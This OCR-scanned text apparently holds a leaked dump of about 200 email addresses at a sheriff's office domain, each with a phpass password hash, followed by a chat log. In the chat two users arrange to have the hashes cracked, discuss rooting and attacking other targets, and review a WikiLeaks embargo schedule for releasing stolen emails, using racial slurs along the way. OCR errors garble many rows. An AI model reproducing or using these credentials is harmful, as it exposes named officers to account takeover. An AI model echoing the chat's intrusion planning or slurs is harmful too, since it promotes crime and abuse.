earl.conyers@lcso.org,$H$9FNEwfnD.gLdOW2tlXTP/TqTgdR/eul,304 

felisha.aguilar@lcso.org,$H$9Lp71 xQumc6CgLlbD090/LAD600NbM., 1690 

jesse.hemandez@lcso.org,$H$9PDpumhYT5CrmNQG5T71F4zpZ6doCN/,1688 
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gerald.dozier@lcso.org,$H$9QoyCtUOYC7uL3i7q5ira2xzmtvZLO., 1357 

mornas.colston@lcso.org,$H$9f/IL7PLIdbfzhlOAtld.Jop2UA/Mm.,l 11 

matthew.farner@lcso.org,$H$9ZlzbLymVz4siQGYkBApm2bo9I3u.z0,1724 

chris.stevens@lcso.org,$H$9uNOwGerm251cZOtC3Y/IbdkyYm7brl,677 

robert.parker@lcso.org,$H$93NZmUF.8mioVtQKj9NA2LuhXyElis.,929 

phil.buffington@lcso.org,$H$9s8ayup/gRD014IwRUnK.JvKdaGr/0/,1276 

michele.french@lcso.org,$H$9j4at0bt2AiUDJAT209oN2D8IZrIjL0,1266 

joseph.tallarico@lcso.org,$H$9ooIm3RxkesfS/cxCMCHCzKbK/G0vr.,1906 

mitch.blackmon@lcso.org,$H$9/ioFC6h2pFDzel/tevnOPg2GEAf6Y/,1865 

rick.harmon@lcso.org,$H$9BxUIAvmMeuVVK6547dJHfbOkIaw8U.,667 

gary.abbott@lcso.org,$H$972gKo62YmvPIHpK8w88PlYlHWQkRP.,1890 

tim.obrien@lcso.org,$H$9cJDiWDRITlieQ5UkZD13/OJk/24MJ.,1656 

cheryl.gilbert@lcso.org,$H$9VdQUFh9iZNvYp4N6EoxfWtDgMuB2U0,1520 

joshua.blanton@lcso.org,$H$9tehF2L0QdN5dz2LNkWi7GlxjEhLYH.,1394 

sydney.stephenson@lcso.org,$H$9I8OgH.mcSGmsl0HNnuNQDX6da/aOll,2076 

ray.mattiucci@lcso.org,$H$9fnnHbsgzqrrtI6jPnllu/rMc5nlIk.,1522 

sherril.paul@lcso.org,$H$9ptHGM.xs99qMq0jr5aZAq995nSD7C/,1489 

gene.perkins@lcso.org,$H$9Vy9.YXa9CaKeBLlFkjta5QuEon7ml0,695 

maryjo.hatley@lcso.org,$H$9p6gJp9041Y9VWJKFMrpG5.nY3bgeQ/,1853 

colette.henson@lcso.org,$H$9PRMNIffDEK4Xsn0qgA10qjXileb7M.,1211 

courtney.santangelo@lcso.org,$H$91BhidRP3jo6hqudWs2eVusouOZ27W0,2090 

joseph.waters@lcso.org,$H$9.RmQFJ3u.xK2jvqGc37vcro6xnQZa/,1780 

eric.wimberly@lcso.org,$H$9CQVhOVc3ekstqBnl/5zjsKlQHkOIE.,1743 

brian.hume@lcso.org,$H$90fB6NkjtSkRygpF0I191cFtfFfkGll,918 

albert.lister@lcso.org,$H$9POWDuhoFe2H4NogQBj7XpgyqVYSOT.,1588 

christopher.irby@lcso.org,$H$9sFMMVmFzDilcwGbCUcRjQ6IMOdB9cl,1569 

richard.dolen@lcso.org,$H$9PxP2MntOTf8UEyJXeWnGk8U7LpvJe/,1910 

robert.holcomb@lcso.org,$H$9O57TMTNYc0j3wvy5wt5WdVrKSRggQ/,623 

sandi.chessher@lcso.org,$H$9ewBf6PBL76m6mKvjr.EKHbgAsLlpS0,950 

lori.basting@lcso.org,$H$9bhJa6ExRHcExfjNEMQfeRdaR0clI0/,1863 

kristy.beebe@lcso.org,$H$9aHwOtXzWUXYxyRiPqsu2vlp3eOKSxO,1667 

david.hanks@lcso.org,$H$92S7BRClSb8Xxlk..Wgf2kZqDi05WY0,1654 

adam. dufresne @ Icso .org, $H$9sxIzetiafORtTB xrG62 vZf 1 frr8el.,1139 

brian.forst@lcso.org,$H$9cil4Vh61wLvxCyJPCF/Yfs71o.WVM.,1309 

matthew.bowden@lcso.org,$H$9ei06yHBjRZuxrxq/YdNCVvnQUXBZa0,1100 

brian.stonebraker@lcso.org,$H$9tUGOVlq//P9x6L5GoUnIlZ02CJMPpl,846 

richard.humphrey@lcso.org,$H$9W5k90OK01/aCQ0CK69xOKHsU/CTCi/,1247 

brad, heidt @ lcso.org, $H$91e2CagYgN3SHzWo YA40n.cNhZdGzS 1,1781 

chris.loyko@lcso.org,$H$9cCFdPlpLRjuoqwzCsYOpVbkYt8BlqO,1202 

John, waldrop @lcso.org,$H$9DaYJwhtVfqOEWlKD9GMSkUJ8WDxo.., 1886 

robert.tracy@lcso.org,$H$9jnuDl/E03Qi9ZW3rliInGuhZux.D2.,52 

deanna.cameron@lcso.org,$H$9AzY90Q6d/TMNg/0/WSpsQMKrB/tLc.,1140 

nancy.harvey@lcso.org,$H$9jQO07uFeNGGp4bTyQVm76cDq0uWGc.,1625 

steve.keller @lcso.org,$H$9Gz.TI3rEGO8PCCLkxe4C5ks2efHwp0,1311 

waiter, wolf @lcso.org,$H$9nw5MUUdDnqYZohhyppoJdqolb48c.0,1451 

cheryl.wilson@lcso.org,$H$981d4MQWJpzzPGJmTiMbORbCcLGmtF0,780 
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karen.lovelace@lcso.org,$H$9TdkxTj8i90AqZ516na9mb6zouoCC9.,296 

richard.barry@lcso.org,$H$9B.pANrjQlR5sJVrIv3Pn6GkGcTdEQ0,630 

bruce.gesinski@lcso.org,$H$9oevAJ85RFsJ3aX/iv8r5zWAMNAwiql, 1844 

shawn.vance@lcso.org,$H$9vHwq8bgZDMolJkz/WTzv7EUOHjGVY.,1493 

abraham.deleon@lcso.org,$H$98gm9VbE9vl.3XUmkcVc27e4kWf/xC/,1856 

john.burrow@lcso.org,$H$9TuQZah0NZ.5LAdAkEnujDdqYlf3jN0,1458 

denise.hill@lcso.org,$H$9eENepL2tRCp.fyRcrNZGu5C82YMht0,334 

glen.hall@lcso.org,$H$9b4mJ12doc4DvoEElPWbW9kQlSC5vm/,430 

tyrone.telemaco@lcso.org,$H$9uVAKopar.CHvr60gD07kOUgP03X28/,1962 

maria.montalvo@lcso.org,$H$9gBAVjjYbwCiKwZDYyklIKD9zVVeG9.,1963 

j ason.helton @ lcso.org, $H$95/tsd./ZdPzB OgljDiucICqcS/OOHO, 1519 

lisa. vachon@lcso.org,$H$90SvZEc.b.4gvxUH0QRck6ZhJO03KPl,729 

paula.berger@lcso.org,$H$9hYv793C.7rbp68jhpJU364vOY04E71,262 

ronald.oliver@lcso.org,$H$9FwsMAm8qE3wJNSxDx6XCkqH5uk9hOO,1914 

mike.myers@lcso.org,$H$9t20Y0Ox5/a75Hlhh3uy6WaL0vDQGgl,565 

ryan.wiles@lcso.org,$H$9VlSW7zM.pCqXSSa81KYP7zMWJFhr6.,1739 

susan.lopes@lcso.org,$H$9zOR.XA9x31rSWfHsZgLLPKUtqlt7G.,1307 

joan.blaszczynski@lcso.org,$H$9/9dzK.DKsh7yqi028v7NLtzpoWmBV/,1584 

jay.carver@lcso.org,$H$96u9QURCTOYImk258BCuoSOHgSFOjtO,1484 

gary.miller@lcso.org,$H$9YfE0vdHnu/3ZHlEor0kX4XsKyMMu90,1805 

chris.huskey @lcso.org,$H$9d2jbgpxx316 lx0P0ZJqz4vdY SrOrB. ,899 

joseph.hink@lcso.org,$H$9fMhj97SFvTOsxeKjRo8KbdDnSxu2h.,1828 

raymond.garcia@lcso.org,$H$9Yc/lRPVrb0RcqW4L8pKlmMaIQWGnz0,1589 

jesse.oglesby@lcso.org,$H$9S8S407unKRp.COJjNBQiiBaHOIvl2.,1974 

matthew.white@lcso.org,$H$9jcEvwhBLdc8JT8ibtqEMRpquuoiif0,2096 

dana.guscott@lcso.org,$H$9bdMM42PeR5iajlYf.qyYCWPDxlNey/,1430 

michele.richards @lcso.org,$H$90GI7WIvJARz76WjTvlriiFzSalD39/, 160 

linda.harville@lcso.org,$H$9J9VOw/110urkNlVCQHi78eAGdOwOI.,728 

mark.stauffer@lcso.org,$H$93YD2sz4qtHaDhgFC6DEzvnAQBZYohl,263 

zack.marable@lcso.org,$H$9WiKlaXKRtJCPJTBuo6UfxvcYksjn3.,1976 

mike.adams@lcso.org,$H$9Y9oL/rAzUoDwaMrSUfy6uJuE13C.30,674 

maureen.hatcher@lcso.org,$H$94xUXSNnwkPlIKEdDl/L.b/FxlVsna/,135 

elaine.bames@lcso.org,$H$99DuPSbItdV5tiJ8XHQBR8vqaR/PI31,1260 

albert.donatone@lcso.org,$H$9gVIAKbwbgZJA2RlD3W40pNwRLaulY.,1555 

stephanie.rodowsky@lcso.org,$H$9OIrbzcQHkwGuloZ8ct519tXncJm7p0,1328 

daniel.lynch@lcso.org,$H$96CZHmtOTLu7z06/JvKSKqfCP6ASCil,1862 

beau.carlton@lcso.org,$H$9Xn6BYd2R7k28jeQ8.XOOmObBgnr23/,1997 

kim.pratt@lcso.org,$H$924I8XdlS6K3TLdOIIlVTBYCpmUlFxl,1423 

cathy.griggs@lcso.org,$H$9TlFhQBsltmAwX2sQrpiAIt4.ChOurO,532 

danae.stewart@lcso.org,$H$9GA8cErFlgu67DpZiBfeGNsOZkD4aP/,1843 

jason.roundtree@lcso.org,$H$91ozR5PjICRFT.3kb.KkB2KPjeBPL21,905 

billy. walls@lcso.org,$H$9r3VuPrp.cX/dWlzY2uGrlYHlgw6Uwl, 1338 

cliff.matthews@lcso.org,$H$9PctsXZltSGUlog8TLH3NyLVy41Yrq.,427 

jessica.mcgregor@lcso.org,$H$9ELYkZACVt918r0LgZdnMP0N.eXSPi/,1652 

mike.mckibben@lcso.org,$H$9qHGqZqEAlTDX.i7DjEp4JqMy32PYw.,82 

jody.maltzman@lcso.org,$H$9tl2pwOdKWG3fvLqL7cowcO2QBtTKr0,1995 
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len.wilkerson@lcso.org,$H$92ugsOYUGfzfRcbfRLamJJbuOLDVx/l,789 

Christopher.pelton @ lcso.org,$H$96nMV Skj e.0SlMyxaJ2tuJEykl .GiX., 1973 

andrea.mckane@lcso.org,$H$9y4/F2tlKFvQl/wr.fSNJycniJ6SJM0,1177 

todd.luce@lcso.org,$H$9y2Qw/R10zvuoGqOyv2VdI3XiYbywFl,246 

brian.sadowski@lcso.org,$H$9b02TXK9sNTNFyGqTNwjZnnuRVhlFkl,2092 

marnee.batchelor@lcso.org,$H$92on5Bq9AcCxUk.X0PFkZTdFVQyonwl,1742 

tim.green@lcso.org,$H$9DssVldzxl9dzFcGVPzVGG5/zwp..kO,819 

daniel.morales@lcso.org,$H$9wuC6FZxq4Dr089KobKH..Kw8AlkFz.,1312 

johnny.webb@lcso.org,$H$9boKYQkJEHblVVFk3uR8e0CvF9enjS0,1181 

jaime.andujar@lcso.org,$H$9rOI8QSZ90dNYjsflcRD94elJWhN4J/,1623 

Christopher. wade@lcso.org,$H$9AH/FFyBT8BP.OU8E9uhlUGWq2XT8D/,1567 

kathy.prigge@lcso.org,$H$9PqOOOEpZnke4zCKSq57aKUU4IySFS/,1272 

james.snyder@lcso.org,$H$9M/zjX4Fa3QIOCZK.FyUou3fN67M3vl,1857 

erica.ortiz-rodriguez@lcso.org,$H$9FlvCIAfUgIFcMBCcOB7B4yqJBV7jh.,1239 

kimberley.holtzclaw@lcso.org,$H$95iQlcw.AnMDHreOMAHaFpD51FsSUA0,1806 

joshua.creech @ lcso.org, $H$9RIV 1 j 8RuTmh6cCeWkOrpm6 ACA/jXp., 1360 

terry.allen@lcso.org,$H$9zn2ZwurKhJAhi2dNKold8RoysbxTO/,292 

dena.clayton@lcso.org,$H$9fuwlGgK82gIKQSzib./wUN8Jp.H041,1744 

tedra.mccloud@lcso.org,$H$9Ea2WnslsZWREFHi8v75I4rY9gcR14.,1487 

henry.taylor@lcso.org,$H$9D0d4pEFsaZWKvQ24M8PeGYvv03Sjul,1296 

nancy.day@lcso.org,$H$9nYArogNonNCvnWZvnwZdo93z3X.07/,1503 

angelo.reyes @lcso.org,$H$9UpCfwNkCjzwj gAR IgfAkEs APrOs700,1616 

clayton. gentry @lcso.org,$H$9oB/rdBmkzirhpb.Lvtzj3hJH62uzb/,2072 

scott.owens@lcso.org,$H$9bRHq0NJF10WnF2ajzE0oMo5mssjHf.,1935 

lee.cheshire@lcso.org,$H$9WH35fsQCJ9YUB/KohwFykEIEUMlk..,567 

wanda.fields @ lcso.org,$H$9uEMQ 19z67kc72. ccrOudIGX 1DHMNC. ,354 

michele.dolan@lcso.org,$H$9XtEKO6xEwvVQ6pIM3hqUOXUI7SXO70,1135 

tamara.dale@lcso.org,$H$9ZeY106MRFn5LkempnLzLIWQWRvoaE.,1335 

alice.waters@lcso.org,$H$902Fg86wJLWDGhddlN0CPiAzURbKPy0,700 

daniel.unsworth@lcso.org,$H$9bbAmKJXILchYAeJksT05i5zWVTw4Q/,1534 

harold.howell@lcso.org,$H$9Y.oK3uToYSrJrOwUJdOLicTjrmUYTO,1525 

art.neubaur@lcso.org,$H$995CKGYIBLjz3ReLAOBemolbpOLKEB 1,958 

debbie.brunk@lcso.org,$H$9z.qDsMLlUcrs6G/rBMeo76QzEaO090,926 

david.malloy@lcso.org,$H$9/8Ri58Q8jlw2.8kbRqaXbbh4bWaja/,1486 

chris.delibro@lcso.org,$H$9w/UdwIDZs5XDTl/7WqKDHAEGyl3ve/,552 

jimmy.mock@lcso.org,$H$9BGfay0kR3dtd5j62TmVWpEcbFB0ni/,20 

thomas.thompson@lcso.org,$H$9Hli8HmLLh4hiJSXkE3AiudWbPtPL40,1468 

jerry.lujan@lcso.org,$H$9.GfRbi2RbbeG5/7H8BTwJv9RoFW7w/,381 

andrew.patten@lcso.org,$H$9DD7SkegqkS88kgsCt29V9vDzWBXZY/,2044 

charles.thompson@lcso.org,$H$9q.qF7BqnoOYjadkE.j3o9g3XciygK0,105 

james.wade@lcso.org,$H$9eUpEgD8p.rAkyFxeiLr/eRcdFR68d0,820 

jamie.getford@lcso.org,$H$9f6kO5fwwCkTU744az5sEiPhttW2mO0,1196 

paul.pawlikowski@lcso.org,$H$9mj6TmmJPtLVlo79/TnM2FqPVDmB2W0,1808 

michael.semento@lcso.org,$H$9hK5nbPdW8DHcwG5/0bEj//rwURCZil,1611 

scott.stone@lcso.org,$H$9mWLhHLlEpA4NmUr9u6DFUUZVnZ55Ql,1500 

antonios.loupos@lcso.org,$H$9gT7dGMpGVKV71Holx5wBc3/XItbTO0,1107 
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matthew.laios@lcso.org,$H$9gevSBUiF20NN6r2P.UUb.0uqLtGJU.,1310 

michael.andrew@lcso.org,$H$9B19pJuvBybiFRJlpG9FtC5msPNN8o/,1651 

jason.mattbews@lcso.org,$H$96.FbUFpytbyQg8RpQcqnSGAEEHTsE0,931 

george.wayland@lcso.org,$H$9jHsigjpfVlCgzA.tSyfRPlX2mtnXGl,621 

raymond.ramos@lcso.org,$H$9ol.qMUAza3iXmlPtyQnGlRkCgiZZsl,1565 

andy.clayton@lcso.org,$H$9wa559xbgQBcabjI352wLJ38FMEHFN.,1609 

bradford.bowlin@lcso.org,$H$9Go6DaGRlpLpDZv62Bn8UHfRbKnL5Gl, 1389 

sbaron.kelligan @ lcso.org, $H$9c4wdPAZ7 wFbXxiC2W2p44io7Rzb 1 D/,601 

randy .bon@lcso.org,$H$9ULzblAzjCaF3sW.Ecx5Q24UlabJMOO,526 

gary. borders @lcso.org,$H$9pD/tMPAdfnoRGixxAjft9CNyRQaPw., 1 

cbristie.mysinger@lcso.org,$H$9OR6PDzA0BNvt7ogDctm8tOTHzQo5G.,190 

ricbard.jimenez @ lcso.org, $H$9dRj deu 1 Gy v.kiMO A9WKCx.5xP0t./., 1996 

darryl .pitcher @ Icso. org, $H$9Gu4 VMbizvm.b 1IHS a05 gMwTXEvOauO, 1437 

robert.bedgood@lcso.org,$H$9pbbC0cgsmEkOiN17pdTNztgtd4cPY/,907 

kelly.wadkins@lcso.org,$H$9a27cTcVkizA.HR0QB5XCMVlLHB167/,874 

scbannah.powell@lcso.org,$H$9xCPd3cnujnKIx9Qnsm.kDaqCPuUMK0,2038 

setb.nestleroad@lcso.org,$H$90aYk2LvDEOsb.zjxys5ftSHkQQAXCl,1911 

mike.serviss@lcso.org,$H$93XVm305e7.y9E18Rjm.GY.N0Ozd3c/,1101 

sheena.henriques@lcso.org,$H$95A.154mqqTT2Avh/L4qg3zznPGlt40,1986 

jason.kerley@lcso.org,$H$9IS115yHYJHyVcLE/PgtMaBIqRBlskl,1132 

raymond.carris@lcso.org,$H$9aX3kIVNqdxSYrZ3bYGcyQx4gLldN..,1867 

george.gates @lcso.org,$H$9jTeLvHB0jnHJPMB3bvekF4aVYePbq/,81 

greg.holtzclaw@lcso.org,$H$93.Hm8oobOEUaLVPogZd79mHbBelDel,858 

ron.patton@lcso.org,$H$9nHkcU9olatm3F79b.cn/m4eKpb0VG.,115 

pablo.rivera@lcso.org,$H$9GnUHzgXsAKlv5ClwzZEvB6wKKyMic0,1103 

earl.ray@lcso.org,$H$9EhHCD52WlLNTYz4JLVW4mzX8Bz3f0/,694 

serena.chilton@lcso.org,$H$9JY7sYedtdfblPNGAJdWIYeoEYow8m.,295 

kelly.cromwell@lcso.org,$H$9HA9P59O6okK93Qde4O7/CIvXlcs970,248 

peyton.grinnell @ lcso.org, $H$907estQfy 1 rOq95mfm7vmO 1 kIXLm3 W1,547 

ken. fratto@lcso.org,$H$9CxM7xRzfkoH3tvuGZJELtrO3s7TQ10,1524 

stacie.sleeseman@lcso.org,$H$9I5rs4uvjyFJpbCpGH07HT7CL80npc/,1544 

steve.moss @lcso.org,$H$9iZUSv51eyhxRmvn08RUKQ4GZ4XWYWl, 103 

david.snyder@lcso.org,$H$9xgSLbwyQ0DvGlbvEF.Xz46I3VwqItl,2014 

lindsay.vanbuskirk@lcso.org,$H$99.NKfVUbf.siN602Ru.ljB9vQt/cA/,1553 

tara.pauli@lcso.org,$H$9jEh2mvqfljUumsbEEMAJ7JFf2mH901,2100 

tracy.sbarp@lcso.org,$H$9uYa8cHsUmLmYNaTVpnJllt33zliUd0,225 

steve.stevenson@lcso.org,$H$94rq57mSZ.WgNDYITHRZsJpMejXlGU/,202 

paul.venaziano @lcso.org,$H$93NCbiLnwAFJ4zCmYp6pt9aCbE/wzB 1,1233 

myra.merritt@lcso.org,$H$9UT20dc8IAsWDKrWYdn3Bqs3LTlgB3.,152 

richard.sylvester@lcso.org,$H$9sTvwXlb6bz476QEre9UUVQnsBxm3j0,1498 

devin.godwin@lcso.org,$H$9zl6kVduDwj.WdlaInB6mJL7D5v2Dg/,566 

jesse.williams@lcso.org,$H$9fXwcevGROWQbpNSmZSSNGGpdkTzUA/,1346 

fawn.yoho@lcso.org,$H$9jSbNuSBosxGa8gWorEZwLQN3W.valO,1813 

cynthia.baltunis@lcso.org,$H$9tYqYYxaike6v9jPiLaCrZmU96Qa.B/,1405 

josbua.crotty @ lcso.org,$H$9oj Wj YxS5Dz3 .G6M8 lk7 AyaUTolQVv 1,1647 

jim.ferguson@lcso.org,$H$9OYMEstl4zr6bkqCnPi4LSnuhsM02R0,2117 
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karl.johnson@lcso.org,$H$966uSM/oMFv/K7dbOB6zflvp2Ap8ih., 1412 

robert.tretter@lcso.org,$H$9N5cu3SEUleN9wdXTnW6L3AVkL3UFgl,448 

robert.mosley@lcso.org,$H$9k0hxfTFL72CnlyE3jppjSly2jGbuPl,1687 

glen, waterman@lcso.org,$H$90xg2CLI/SWlHTluFYZNYIeNHhJ.tZ/,92 

billiejo.bates-perkins@lcso.org,$H$9YM/G5ZuyVhkxQbMB4eo5K63xPACAX0,494 

wendell.perry@lcso.org,$H$9vIopNQUZuTWJB4X6GFQxD3EDjOlc40,194 

darrell.thomas@lcso.org,$H$9DwfiAoO2gCUCIMWqBGr/9o5Mz0Gog.,928 

chris.ellis@lcso.org,$H$968Z3zYjS812BcDEBYz7kyg/yzNDLt0,882 

david.triplett@lcso.org,$H$9R6LQoPX39T/b78vdHYJ0cLxQ/vkmV/,2126 

tim.mccaig@lcso.org,$H$9ipe8bz68aIvsBvrljlLbaXJRHJTZ91,1523 

matthew.albandor@lcso.org,$H$9hoMzEjRQbrx67aHJfmmHiR9g5ZcZ.0,1650 

marcie.poitevent@lcso.org,$H$97gb29P77rYMfsBck9zGZkkSqJ/awMl,873 

eric.bateman@lcso.org,$H$9JglMKyO.ZuJU5bscP2zybXo5iiKjEl,1909 

bryan.lawrence@lcso.org,$H$9xhDRgt9cRrglGPw/IqagUW5IyrOCe/,1749 

j ason. dunlap @ lcso.org,$H$9C2NVzGD0C vZlqMlZKlhSuOS/j Shj w., 1481 

carlton.beck@lcso.org,$H$9Q5hEs/6cIeKp4Rli52eszNoNclpNV.,1367 

gene.cushing @ Icso. org,$H$9xpxKMGgChbX/n. SE9s4qQwLC 8vRPnO,725 

eon.chapman@lcso.org,$H$9vvTAE4cTRMHW99eQeN.6ETjCVc6Gn.,l 190 

chad.harmon@lcso.org,$H$9DZEgkfxIIQDOkMs5nr4LmLbqzLcr80,561 

jack.holder@lcso.org,$H$9mvkKwAVrszl6RBGOf.Y7dCaSmugSY/,219 

bill.leware@lcso.org,$H$9u.ElTzXt3aC.L0HIJDtNKgSt.h/e8.,583 

robert.wolfenden@lcso.org,$H$9.EQKi/2s/QuDtfKZd6JTpwCD6M/lZ/, 1816 

katie.roden@lcso.org,$H$9ipyczNoYf0.ZJsq92k2G7HnzMrZ2s.,1823 

brigitte.lotze@lcso.org,$H$9vBqk2XVHCTTctaTYG6v/lQj/vyy6j/,1761 

curtis.bumside@lcso.org,$H$96DDgJGwyPvtaH.eKjoajIDmeIE/2I.,2110 

cheryl.lamb @ lcso.org, $H$9D 1 knBLwQRJ lllsQWyESRk. 1 P59d9T 1,1624 

charles.warren@lcso.org,$H$9acPMaHukCTveAWhcWMsKhwVlqIwOP/,2039 

gary.booker@lcso.org,$H$9WNaBLE83bPtRqPI3gdlEgxzc2g8ha0,2019 

rodney.blevins@lcso.org,$H$9J3jd010hzlmHN.PTbinFT5qHAh89p/,738 

paula.bourell @ Icso. org,$H$9apMIGBkl D5 wqPcf5pWw3 v 1 diDx/K40,810 

lane.roddenberry@lcso.org,$H$9dBELjb2w7mHj9nBXyMvEHlL.gR05x0,843 

kimberly.pelfrey@lcso.org,$H$9b3oeILkzVDDeGlpDRUJvM5wQP12HZl,1660 

vincent.rodriguez@lcso.org,$H$98pMMuJX6ynwSLAiOhzZp2cSMB 17x80,1174 

barbara. semento @ lcso.org,$H$97 VIck7 thkOYAa7 fsDE.pi6zECc/im/, 1490 

joshua.houke@lcso.org,$H$9Hi49rmLp3eZ9khKOf3xYEGHDnpVWl/,1706 

(6:29:46 PM) leondavidson@jabber.org/jabber.org: yup. sending it to my ppl 

(6:29:53 PM) leondavidson@jabber.org/jabber.org: who is this nerdlife shit? 

(6:31:13 PM) yohoho@jabber.ccc.de: that is god 

(6:33:12 PM) leondavidson@jabber.org/jabber.org: got you 

(6:33:22 PM) leondavidson@jabber.org/jabber.org: I'll see if these nigs can crack it 
(6:33:25 PM) leondavidson@jabber.org/jabber.org: did you root that shit yet? 

(6:33:29 PM) leondavidson@jabber.org/jabber.org: you're slacking son :x LOL 
(6:33:42 PM) yohoho@jabber.ccc.de: I amw orking with god on some other targets 
(6:33:46 PM) yohoho@jabber.ccc.de: yo we need help man 
(6:33:51 PM) yohoho@jabber.ccc.de: who else is doing intrusion? 

(6:33:51 PM) yohoho@jabber.ccc.de: you? 
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(6:34:51 PM) leondavidson@jabber.org/jabber.org: im doing mad shit myself mainly 
organizing, seems my role changed a bit 

(6:34:57 PM) leondavidson(a>jabber.org/jabber.org: but you niggas ain't alone at the end of the 
day 

(6:35:07 PM) yohoho@jabber.ccc.de: well it feels like it sometimes 

(6:37:41 PM) leondavidson@jabber.org/jabber.org: don't worry broham we'll cuddle soon <3 
(6:37:50 PM) leondavidson@jabber.org/jabber.org: I'm over here having a little discussion with 
this nigga from wikileaks 

(6:38:40 PM) yohoho@jabber.ccc.de: yes I told him I am more than capable of observing and 
respecting whatever strict parameters he has set up, but there is no reason why we haven't been 
included in this process since the beginning 

(6:39:31 PM) leondavidson@jabber.org/jabber.org: he claims to have over 100 people working 
on this 

(6:39:39 PM) leondavidson@jabber.org/jabber.org: yet claims theres nothing interesting in 
these emails 

(6:39:43 PM) yohoho@jabber.ccc.de: yo he told me 50, then earlier he said 2 media groups 

(6:39:47 PM) yohoho@jabber.ccc.de: err 

(6:39:49 PM) yohoho@jabber.ccc.de: 27 media groups 

(6:39:57 PM) yohoho@jabber.ccc.de: it is sort of suspicious 

(6:39:59 PM) yohoho@jabber.ccc.de: like wtf 

(6:42:00 PM) leondavidson@jabber.org/jabber.org: http://www.damasreef-elec.gov.sv/ 

(6:42:01 PM) leondavidson@jabber.org/jabber.org: nice 

(6:42:07 PM) leondavidson@jabber.org/jabber.org: good to see other niggas getting involved 
(7:04:15 PM) leondavidson@jabber.org/jabber.org: nice ok so these guys are forreal 
(7:04:20 PM) leondavidson@jabber.org/jabber.org: they just sent me a bunch of shit 
(7:04:24 PM) leondavidson@jabber.org/jabber.org: regarding the release 
(7:04:30 PM) leondavidson@jabber.org/jabber.org: its svhedule and all that 
(7:04:30 PM) yohoho@jabber.ccc.de: which, JA? 

(7:04:33 PM) leondavidson@jabber.org/jabber.org: ja 

(7:04:36 PM) leondavidson@jabber.org/jabber.org: the fake ja or whatever 

(7:04:42 PM) yohoho@jabber.ccc.de: let's see it 

(7:04:42 PM) leondavidson@jabber.org/jabber.org: I'll send your way shortly 

(7:04:50 PM) leondavidson@jabber.org/jabber.org: but I told him we needed fundin eventually 

(7:04:54 PM) leondavidson@jabber.org/jabber.org: we can't do this forever for free 

(7:05:02 PM) yohoho@jabber.ccc.de: lol funding? 

(7:05:04 PM) leondavidson@jabber.org/jabber.org: he said they are coining an award for source 
of the year 

(7:05:08 PM) yohoho@jabber.ccc.de: I mean they are bankrolled for sure 

(7:05:23 PM) leondavidson@jabber.org/jabber.org: and they'll award the best source of the year 
with an award 

(7:05:26 PM) leondavidson@jabber.org/jabber.org: and $150k 

(7:06:11 PM) yohoho@jabber.ccc.de: well no lie Im broke but hwo the hell will any of that 
money get to any of us 

(7:06:23 PM) leondavidson@jabber.org/jabber.org: I'm broke as fuck too. but thats not the point 
(7:06:24 PM) yohoho@jabber.ccc.de: i'm less interested about money than delivering the product 
(7:06:29 PM) leondavidson@jabber.org/jabber.org: I brought it up to see where their minds are 
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at 

(7:06:34 PM) leondavidsontSjabber.org/jabber.org: and wtf they're doing with their money 
(7:06:43 PM) leondavidson(a>jabber.org/jabber.org: you gotta understand my nigga I play 
mindgames with all these niggas 

(7:06:48 PM) leondavidson@jabber.org/jabber.org: and see what they respond to me with 
(7:06:50 PM) yohoho(s>jabber.ccc.de: ok 

(7:06:59 PM) leondavidson@jabber.org/jabber.org: so I find it interesting he brought up this 
award for sources shit they're doing 

(7:07:03 PM) yohoho(S>jabber.ccc.de: well whatever you tell them to get them to move forward 
and release 

(7:07:04 PM) yohoho(s>jabber.ccc.de: because 

(7:07:13 PM) yohoho(s>jabber.ccc.de: I told them they have two weeks 

(7:07:18 PM) yohoho(S>jabber.ccc.de: if they fail to deliver, we will have to on our own 

(7:07:39 PM) leondavidson@jabber.org/jabber.org: looks like they'll be releasing by feb 27th by 

the looks of the schedule 

(7:08:19 PM) leondavidson(a)jabber.org/jabber.org: (7:02:01 PM) 
ardeditor@jabber.ccc.de: Partner Pre-Release Package 

1. Embargo Timetable 

This has just been updated to make it simpler for everyone. Please read this carefully 
and let me know of any questions. 

2. Instructions on Scheduling Emails for Release 

As per the MOU you signed you will need to schedule the emails you wish to write 
about into our system so they can be published on our site to coincide with your story. 
These are the instructions to do this - please read them carefully and let me know of 
any questions. 

3. Instructions for Publication Date 

Some basic instructions regarding the release - please read this as soon as possible 
and let us know of any questions. 

4. Plan B and C 

Contingency plans in case the exclusivity of this data is breached. 

5. Banking Blockade Information 

Notes on the financial blockade against WikiLeaks, including new information that is 
not yet in the public domain, for your story you must write as part of your MOU to be 
published in your first publication of Rock Guitar. 

6. a-d Graphic Adverts 

Eour different sizes of WikiLeaks graphical adverts. One of which must be put along 
side each of your stories in this publication, as per the MOU. Each of these adverts 
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should link to our site (www.wikileaks.org/donate) if elicked on. The different sizes 
of graphies we have are; 

a) Banner (728 x 90 px) 

b) Small skyscraper (vertical) (120 x 600 px) 

c) half page (300 x 600 px) 

d) mpu (300 X 250 px) 

7. Guide for Searching the Data of Project Rock Guitar 

These are some basic tips on how to search the data. Do let us know of any additions, 
comments or improvements. 

(7:03:04 PM) ardeditor@jabber.ccc.de: 1. Embargo Timetable 

Due to various partners' publishing schedules and deadlines, elections around the 
world and legal matters WikiLeaks and Julian are involved in we have had to create 
this embargo timetable. The timetable MUST be strictly adhered to. A breach of this 
timetable is a breaking of the MOU and is enough to be struck off the WikiLeaks 
partner list. A break of this timetable will also anger other partners who are sticking to 
this timetable - our partners from around the world currently are; McClatchy, ARD, 
L'Espresso/La Repubblica, La Nacion, Plaza Publica, La Jornada, Bivol, Owni, Ta 
Nea, Publico.es, Russian Reporter, A1 Masry - A1 Youm, A1 Akhbar, Nawaat, Taraf, 
Pagina 12, IDL Reporteros, CIPER and Malaysia Today, with more joining over the 
next few days. These partnerships work through mutual trust, respect, and agreements, 
do not break them. 

The dates listed are START dates for each subject. You may write about them any 
time after this date, BUT NOT BELORE. 

Eg You can do a story about Italy on Eriday 2nd March or Saturday 3rd, or later. BUT 
NOT BEEORE Eriday 2nd March. 

If a story has substantial reference to two embargoed topics you may publish the story 
on, or after, the date of the first topic. 

Eg if a story is about Turkey and Russia equally you can publish it on the 27th of Eeb. 
However, if a story is mainly about India, but makes a small reference to the United 
States (which has a go date of 27th Eeb) you cannot publish it until 8th March - the 
embargo date for India. 

The Embargo Timetable: 

ALL TIMES ARE LONDON TIME (GMT) 
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No mention of the existence of Rock Guitar or stories derived from it before the 27th 
Feb 00:01. 

Monday 27th Feb 00:01 - Rock Guitar embargo ends in general - so you may refer to 
the project and write about your involvement in it. 

